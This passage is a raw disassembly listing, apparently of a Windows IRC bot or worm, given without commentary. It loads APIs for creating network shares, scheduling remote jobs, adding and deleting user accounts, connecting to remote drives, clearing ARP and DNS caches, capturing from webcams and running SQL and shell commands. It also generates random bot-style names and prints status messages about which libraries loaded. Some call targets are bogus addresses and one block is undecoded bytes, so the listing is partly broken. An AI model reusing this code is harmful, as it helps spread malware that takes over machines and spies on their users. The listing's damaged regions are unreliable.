					; sub_409909+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A252
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB96C, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CBA9C, eax
		call	esi
		cmp	dword_4CB96C, ebx
		mov	dword_4CB8FC, eax
		jz	short loc_40A25D
		cmp	dword_4CBA9C, ebx
		jz	short loc_40A25D
		cmp	eax, ebx
		jnz	short loc_40A267
		jmp	short loc_40A25D
; ---------------------------------------------------------------------------


loc_40A252:				; CODE XREF: sub_409909+90Aj
		call	near ptr 26A0CACh
		nop
		mov	dword_4CBAD8, eax


loc_40A25D:				; CODE XREF: sub_409909+939j
					; sub_409909+941j ...
		mov	dword_4CBAD4, 1


loc_40A267:				; CODE XREF: sub_409909+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A36E
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB8D8, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB8B0, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB928, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB95C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CBA74, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB910, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB8BC, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB8AC, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB944, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CBA3C, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB9F4, eax
		call	esi
		cmp	dword_4CB8D8, ebx
		mov	dword_4CB918, eax
		jz	short loc_40A379
		cmp	dword_4CB8B0, ebx
		jz	short loc_40A379
		cmp	dword_4CB928, ebx
		jz	short loc_40A379
		cmp	dword_4CB95C, ebx
		jz	short loc_40A379
		cmp	dword_4CBA74, ebx
		jz	short loc_40A379
		cmp	dword_4CB910, ebx
		jz	short loc_40A379
		cmp	dword_4CB8BC, ebx
		jz	short loc_40A379
		cmp	dword_4CB8AC, ebx
		jz	short loc_40A379
		cmp	dword_4CB944, ebx
		jz	short loc_40A379
		cmp	dword_4CBA3C, ebx
		jz	short loc_40A379
		cmp	dword_4CB9F4, ebx
		jnz	short loc_40A383
		jmp	short loc_40A379
; ---------------------------------------------------------------------------


loc_40A36E:				; CODE XREF: sub_409909+969j
		nop
		call	near ptr 26A0CACh
		mov	dword_4CBAE0, eax


loc_40A379:				; CODE XREF: sub_409909+A11j
					; sub_409909+A19j ...
		mov	dword_4CBADC, 1


loc_40A383:				; CODE XREF: sub_409909+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3B8
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB900, eax
		call	esi
		cmp	dword_4CB900, ebx
		mov	dword_4CB9DC, eax
		jz	short loc_40A3C3
		cmp	eax, ebx
		jnz	short loc_40A3CD
		jmp	short loc_40A3C3
; ---------------------------------------------------------------------------


loc_40A3B8:				; CODE XREF: sub_409909+A85j
		nop
		call	near ptr 26A0CACh
		mov	dword_4CBAE8, eax


loc_40A3C3:				; CODE XREF: sub_409909+AA7j
					; sub_409909+AADj
		mov	dword_4CBAE4, 1


loc_40A3CD:				; CODE XREF: sub_409909+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A402
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CBA60, eax
		call	esi
		cmp	dword_4CBA60, ebx
		mov	dword_4CBA5C, eax
		jz	short loc_40A40D
		cmp	eax, ebx
		jnz	short loc_40A417
		jmp	short loc_40A40D
; ---------------------------------------------------------------------------


loc_40A402:				; CODE XREF: sub_409909+ACFj
		nop
		call	near ptr 26A0CACh
		mov	dword_4CBAF0, eax


loc_40A40D:				; CODE XREF: sub_409909+AF1j
					; sub_409909+AF7j
		mov	dword_4CBAEC, 1


loc_40A417:				; CODE XREF: sub_409909+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A476
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CBA8C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CBA84, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CBA4C, eax
		call	esi
		cmp	dword_4CBA8C, ebx
		mov	dword_4CB91C, eax
		jz	short loc_40A481
		cmp	dword_4CBA84, ebx
		jz	short loc_40A481
		cmp	dword_4CBA4C, ebx
		jz	short loc_40A481
		cmp	eax, ebx
		jnz	short loc_40A48B
		jmp	short loc_40A481
; ---------------------------------------------------------------------------


loc_40A476:				; CODE XREF: sub_409909+B19j
		nop
		call	near ptr 26A0CACh
		mov	dword_4CBAF8, eax


loc_40A481:				; CODE XREF: sub_409909+B55j
					; sub_409909+B5Dj ...
		mov	dword_4CBAF4, 1


loc_40A48B:				; CODE XREF: sub_409909+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A4C0
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB950, eax
		call	esi
		cmp	dword_4CB950, ebx
		mov	dword_4CBA58, eax
		jz	short loc_40A4CB
		cmp	eax, ebx
		jnz	short loc_40A4D5
		jmp	short loc_40A4CB
; ---------------------------------------------------------------------------


loc_40A4C0:				; CODE XREF: sub_409909+B8Dj
		nop
		call	near ptr 26A0CACh
		mov	dword_4CBB00, eax


loc_40A4CB:				; CODE XREF: sub_409909+BAFj
					; sub_409909+BB5j
		mov	dword_4CBAFC, 1


loc_40A4D5:				; CODE XREF: sub_409909+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A55E
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CBA20, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CBA6C, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB9A8, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB960, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CBA00, eax
		call	esi
		cmp	dword_4CBA20, ebx
		mov	dword_4CB970, eax
		jz	short loc_40A569
		cmp	dword_4CBA6C, ebx
		jz	short loc_40A569
		cmp	dword_4CB9A8, ebx
		jz	short loc_40A569
		cmp	dword_4CB960, ebx
		jz	short loc_40A569
		cmp	dword_4CBA00, ebx
		jz	short loc_40A569
		cmp	eax, ebx
		jnz	short loc_40A573
		jmp	short loc_40A569
; ---------------------------------------------------------------------------


loc_40A55E:				; CODE XREF: sub_409909+BD7j
		nop
		call	near ptr 26A0CACh
		mov	dword_4CBB08, eax


loc_40A569:				; CODE XREF: sub_409909+C2Dj
					; sub_409909+C35j ...
		mov	dword_4CBB04, 1


loc_40A573:				; CODE XREF: sub_409909+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5A8
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB934, eax
		call	esi
		cmp	dword_4CB934, ebx
		mov	dword_4CBA14, eax
		jz	short loc_40A5B3
		cmp	eax, ebx
		jnz	short loc_40A5BD
		jmp	short loc_40A5B3
; ---------------------------------------------------------------------------


loc_40A5A8:				; CODE XREF: sub_409909+C75j
		nop
		call	near ptr 26A0CACh
		mov	dword_4CBB10, eax


loc_40A5B3:				; CODE XREF: sub_409909+C97j
					; sub_409909+C9Dj
		mov	dword_4CBB0C, 1


loc_40A5BD:				; CODE XREF: sub_409909+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5C5	proc near		; CODE XREF: sub_401ACD+2511p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CBAA4, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A60D
		push	dword_4CBAA8
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A60D:				; CODE XREF: sub_40A5C5+1Aj
		cmp	dword_4CBAAC, esi
		jz	short loc_40A641
		push	dword_4CBAB0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A641:				; CODE XREF: sub_40A5C5+4Ej
		cmp	dword_4CBAB4, esi
		jz	short loc_40A675
		push	dword_4CBAB8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A675:				; CODE XREF: sub_40A5C5+82j
		cmp	dword_4CBABC, esi
		jz	short loc_40A6A9
		push	dword_4CBAC0
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6A9:				; CODE XREF: sub_40A5C5+B6j
		cmp	dword_4CBAC4, esi
		jz	short loc_40A6DD
		push	dword_4CBAC8
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A6DD:				; CODE XREF: sub_40A5C5+EAj
		cmp	dword_4CBACC, esi
		jz	short loc_40A711
		push	dword_4CBAD0
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A711:				; CODE XREF: sub_40A5C5+11Ej
		cmp	dword_4CBAD4, esi
		jz	short loc_40A745
		push	dword_4CBAD8
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A745:				; CODE XREF: sub_40A5C5+152j
		cmp	dword_4CBADC, esi
		jz	short loc_40A779
		push	dword_4CBAE0
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A779:				; CODE XREF: sub_40A5C5+186j
		cmp	dword_4CBAE4, esi
		jz	short loc_40A7AD
		push	dword_4CBAE8
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7AD:				; CODE XREF: sub_40A5C5+1BAj
		cmp	dword_4CBAEC, esi
		jz	short loc_40A7E1
		push	dword_4CBAF0
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A7E1:				; CODE XREF: sub_40A5C5+1EEj
		cmp	dword_4CBAF4, esi
		jz	short loc_40A815
		push	dword_4CBAF8
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A815:				; CODE XREF: sub_40A5C5+222j
		cmp	dword_4CBAFC, esi
		jz	short loc_40A849
		push	dword_4CBB00
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A849:				; CODE XREF: sub_40A5C5+256j
		cmp	dword_4CBB04, esi
		jz	short loc_40A87D
		push	dword_4CBB08
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A87D:				; CODE XREF: sub_40A5C5+28Aj
		cmp	dword_4CBB0C, esi
		jz	short loc_40A8B1
		push	dword_4CBB10
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax


loc_40A897:				; DATA XREF: ___:00433214o
					; ___:00433258o ...
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h


loc_40A8B1:				; CODE XREF: sub_40A5C5+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D6CC
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A8DE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40A8DE:				; CODE XREF: sub_40A5C5+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5BC5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A918
		push	[esp+arg_0]
		call	dword_4CBA68
		test	eax, eax
		jnz	short loc_40A911
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A911:				; CODE XREF: sub_40A8F0+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A918:				; CODE XREF: sub_40A8F0+Dj
		retn
sub_40A8F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A919	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB900
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A927
		call	ecx

locret_40A927:				; CODE XREF: sub_40A919+Aj
		retn
sub_40A919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A928	proc near		; CODE XREF: sub_401ACD:loc_403F03p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CBA60
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A9EE
		sub	ecx, 32h
		jz	loc_40A9E7
		sub	ecx, 48h
		jz	short loc_40A988
		sub	ecx, 6Eh
		jz	short loc_40A981


loc_40A96A:				; CODE XREF: sub_40A928+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D8E0
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40A9C8
; ---------------------------------------------------------------------------


loc_40A981:				; CODE XREF: sub_40A928+40j
		push	offset unk_42D8BC
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A988:				; CODE XREF: sub_40A928+3Bj
		push	[ebp+var_8]
		call	sub_41BEB5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BF70
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A9B5
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CBA60
		cmp	eax, edi
		jz	short loc_40A9EE
		jmp	short loc_40A96A
; ---------------------------------------------------------------------------


loc_40A9B5:				; CODE XREF: sub_40A928+79j
		push	offset unk_42D88C


loc_40A9BA:				; CODE XREF: sub_40A928+5Ej
					; sub_40A928+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40A9C8:				; CODE XREF: sub_40A928+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415D38
		pop	ecx


loc_40A9D8:				; CODE XREF: sub_40A928+C8j
					; sub_40A928+DCj
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A9E7:				; CODE XREF: sub_40A928+32j
		push	offset unk_42D85C
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------


loc_40A9EE:				; CODE XREF: sub_40A928+29j
					; sub_40A928+89j
		cmp	[esi], edi
		jbe	short loc_40A9D8
		lea	ebx, [esi+4]


loc_40A9F5:				; CODE XREF: sub_40A928+DAj
		push	ebx
		call	dword_4CBA5C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A9F5
		jmp	short loc_40A9D8
sub_40A928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA06	proc near		; CODE XREF: sub_401ACD+21EDp
					; sub_401ACD+233Ep ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB988
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CBB14
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41C266
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA06	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA5F	proc near		; CODE XREF: sub_413694+24Cp
					; sub_413694+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AA88
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AA7B:				; CODE XREF: sub_40AA5F+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AA7B
		pop	edi
		jmp	short loc_40AA8C
; ---------------------------------------------------------------------------


loc_40AA88:				; CODE XREF: sub_40AA5F+Aj
		mov	edx, [esp+4+arg_0]


loc_40AA8C:				; CODE XREF: sub_40AA5F+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AA96
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AA96:				; CODE XREF: sub_40AA5F+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AA5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAAC	proc near		; CODE XREF: sub_40AE84+49p
					; DATA XREF: ___:off_42D928o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 26B0BDDh
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D9A4[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AB14


loc_40AAEE:				; CODE XREF: sub_40AAAC+66j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A4
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AAEE


loc_40AB14:				; CODE XREF: sub_40AAAC+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40AAAC	endp

; ---------------------------------------------------------------------------
		db 56h,	57h, 90h
		dd 2A60BCE8h, 91E85002h, 8B000117h, 0C710247Ch,	91402404h
		dd 0BC680042h, 6A0042CCh, 21E8571Ch, 33000118h,	10C483F6h
		dd 90983539h, 267E0042h, 11771E8h, 990A6A00h, 52F9F759h
		dd 0B8A46857h, 1C6A0042h, 17FAE857h, 0C4830001h, 353B4614h
		dd 429098h, 0C78BDA7Ch
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AB77	proc near		; CODE XREF: sub_401ACD+68EEp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 26B0BDDh
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ABBA


loc_40ABA4:				; CODE XREF: sub_40AB77+41j
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ABA4


loc_40ABBA:				; CODE XREF: sub_40AB77+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AB77	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 26B0BDDh
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4315FC
		push	eax
		push	esi
		nop
		call	near ptr 26E0000h
		movsx	eax, byte_4315FC
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AC00:				; CODE XREF: ___:0040AC0Bj
		cmp	eax, ecx
		jnz	short loc_40AC07
		mov	[ebp-4], edx


loc_40AC07:				; CODE XREF: ___:0040AC02j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AC00
		push	61h
		pop	ecx


loc_40AC10:				; CODE XREF: ___:0040AC1Bj
		cmp	eax, ecx
		jnz	short loc_40AC17
		mov	[ebp-4], edx


loc_40AC17:				; CODE XREF: ___:0040AC12j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AC10
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AC5C


loc_40AC36:				; CODE XREF: ___:0040AC5Aj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A4
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AC36


loc_40AC5C:				; CODE XREF: ___:0040AC34j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 26B0BDDh
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26F0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_431600
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ACD1


loc_40ACAB:				; CODE XREF: ___:0040ACCFj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A4
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACAB


loc_40ACD1:				; CODE XREF: ___:0040ACA9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43DB98
		mov	dword ptr [ebp-94h], 94h
		call	near ptr 2700000h
		nop
		nop
		call	near ptr 26B0BDDh
		push	eax
		call	sub_41C2B8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AD5B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD3B
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AD2B
		mov	esi, offset dword_431628


loc_40AD2B:				; CODE XREF: ___:0040AD24j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AD97
		mov	esi, offset dword_431624
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD3B:				; CODE XREF: ___:0040AD1Bj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AD4B
		mov	esi, offset dword_431620
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD4B:				; CODE XREF: ___:0040AD42j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AD92
		mov	esi, offset dword_43161C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD5B:				; CODE XREF: ___:0040AD12j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AD92
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD74
		mov	esi, offset dword_431618
		jmp	short loc_40AD97
